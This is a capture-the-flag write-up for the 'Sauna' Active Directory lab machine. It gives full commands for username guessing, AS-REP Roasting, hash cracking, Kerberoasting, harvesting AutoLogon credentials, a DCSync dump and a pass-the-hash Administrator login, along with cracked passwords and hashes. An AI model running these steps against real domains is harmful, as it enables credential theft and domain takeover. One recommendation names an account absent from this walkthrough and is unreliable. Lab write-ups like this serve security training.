Summary
- Team member names were listed on a web page, which allowed us to guess valid usernames.
- One user account had Kerberos pre-authentication disabled, letting us obtain a shell via AS-REP Roasting.
- Running winPEAS revealed that the AutoLogon section still had a username and default password stored in plaintext.
- Checking that account in BloodHound showed it had GetChangesAll rights over the DC, allowing us to perform a DCSync attack, retrieve the Administrator’s password hash, and gain full domain compromise.
Recommendation
Assuming this were a real environment, I would recommend the following.
- Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
- Remove plaintext AutoLogon credentials from the registry (Disable AutoLogon entirely unless there’s a hard operational requirement for it).
- Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g.,
svc-alfrescobeing a member ofAccount Operators), and regularly audit ACLs for dangerous rights (GenericAll,WriteDacl,GetChangesAll, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.
Enumeration
First of all, let's enumerate open ports using nmap. Usually take following 3 steps.
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.180 
ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,) sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.180 
Ports 135(RPC), 139(SMB) and 445(SMB) are open. Also, 53(DNS), 389(LDAP) and 88(Kerberos) are open, too. This suggests a Windows machine having an Active Directory domain.
Port 80(HTTP) is open. So, Web Application is running.
The domain is EGOTISTICAL-BANK.LOCAL.
Let’s check the DNS information.
dig @10.129.95.180 EGOTISTICAL-BANK.LOCAL any 
We now know this machine’s hostname is “sauna,” and it’s the domain controller (DC) for the EGOTISTICAL-BANK.LOCAL domain.
Let's add the mapping between the IP and domain names to /etc/hosts.
echo "10.129.95.180 EGOTISTICAL-BANK.LOCAL sauna.EGOTISTICAL-BANK.LOCAL" | sudo tee -a /etc/hosts 
Let's open the Port 80(HTTP).
http://egotistical-bank.local/
Let's enumerate pages.
feroxxuster -u http://EGOTISTICAL-BANK.LOCAL -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak 
Not very interesting.
We can find the names of team members who may exist as users in this Active Directory at about.html.
Let's make users.txt considering several patterns as follows.
echo 'Fergus.Smith Hugo.Bear Steven.Kerb Shaun.Coins Bowie.Taylor Sophie.Driver fergus.smith hugo.bear steven.kerb shaun.coins bowie.taylor sophie.driver f.smith h.bear s.kerb s.coins b.taylor s.driver fergus hugo steven shaun bowie sophie smith bear kerb coins taylor driver fsmith hbear skerb scoins btaylor sdriver smithf bearh kerbs coinss taylorb driverhs fergussmith hugobear stevenkerb shauncoins bowietaylor sophiedriver smith.fergus bear.hugo kerb.steven coins.shaun taylor.bowie driver.sophie fergus_smith hugo_bear steven_kerb shaun_coins bowie_taylor sophie_driver f_smith h_bear s_kerb s_coins b_taylor s_driver fergus.s hugo.b steven.k shaun.c bowie.t sophie.d fs hb sk sc bt sd' > users.txt 
Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.
nxc smb 10.129.95.180 -u '' -p '' --shares --users --groups 
Nothing.
nxc smb 10.129.95.180 -u 'guest' -p '' --shares --users --groups 
Nothing.
Exploitation
Let’s check which usernames exist and, at the same time, look for any that have the misconfiguration of not requiring Kerberos pre-authentication.
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.95.180 
There is!
Let's crack the hash!
echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:a4cb35dcaaa6e03aa5d71dddf341db1f$840f75360073578b8bbd5b38530bae390fb3778e343946c67c7600db3c96a28f9519dbd2a677fc26653ae903421d685a4f542aa1809edaeeecf0ec51a68fb2f1832e2abf0fc6e2dc65799028b22d07237e1c7fe3438410cdf3d762ef55d469aa3ce1f118f4fc08995ca61675195f5a1ea77b268e692dc773258bf2f7a742a6f49755574f081804f3a00ed19db027843bc5fe4eaff0bb561ac9dc5681b5f35d1caf7b207c4ebfbecfaa466fc26ea9028aa13403b78ea55127ff246bcfbfa3a13c5791f132043ddce642349877731088381f0a5c85ace49b4009442196f6319cba8c42e681b39c9c86db99f6ee859f6ce44d597bf0eceea7778e0a2f1ee9894858' > hash hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule 
Cracked! fsmith:Thestrokes23
Let's check what we can do with the credential.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'; done 
WINRM is available.
Let's login.
evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23 type C:\Users\FSmith\Desktop\user.txt 
We got user.txt.
Privilege Escalation
Let's gather the information of this Active Directory using bloodhound.
nxc ldap 10.129.95.180 -u fsmith -p 'Thestrokes23' --bloodhound --collection All --dns-server 10.129.95.180 && mv ~/.nxc/logs/*bloodhound.zip . 
No path found.
Look for any accounts that have an SPN set (i.e., Kerberoastable accounts).
impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt 
Adjust the time.
D=$(ldapsearch -x -H ldap://10.129.95.180 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)" 
faketime "+25127 seconds" impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt 
Let's crack the hash.
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule 
Cracked! HSmith:Thestrokes23
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23'; done 
Nothing the credential can do.
Let’s use winPEAS. I placed winPEASx64.exe in the directory where evil-winrm started, and uploaded it.
upload winPEASx64.exe 
./winPEASx64.exe 
There is a credential on Autologon section.
svc_loanmanager:Moneymakestheworldgoround!
Let's check what we can do with it.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!'; done 
Nothing again.
Checking the username under Users, it is not svc_loanmanager but svc_loanmgr.
Let's try is again.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'; done 
Yes!
According to bloodhound, svc_loanmgr has GetChangesAll over Domain Controllers, and it says, "You may perform a dcsync attack".
So, let's try a dcsync attack.
impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180 
We get it!
evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e type C:\Users\Administrator\Desktop\root.txt 
Hooray!
Lessons Learned
In BloodHound, when you click on a permission arrow (edge), the details of what you can do with it are shown on the right side.
